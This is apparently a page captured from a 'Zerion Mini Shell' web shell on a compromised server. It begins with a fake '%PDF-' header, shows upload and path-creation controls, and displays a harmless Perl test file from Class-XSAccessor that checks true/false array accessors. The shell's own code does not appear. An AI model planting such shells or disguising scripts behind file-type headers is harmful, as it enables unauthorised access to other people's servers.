%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535425.21555/Class-XSAccessor-1.19/t/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535425.21555/Class-XSAccessor-1.19/t/37array_boolean.t

use strict;
use warnings;

package Foo;

use Class::XSAccessor::Array
  constructor => 'new',
  true        => [qw(t r u e)],
  false       => [qw(f a l s)];

package main;

use Test::More tests => 10;

ok (Foo->can('new'));

my $obj = Foo->new();

can_ok($obj, qw(t r u e f a l s));

ok($obj->$_) for qw(t r u e);
ok(not $obj->$_) for qw(f a l s);


Zerion Mini Shell 1.0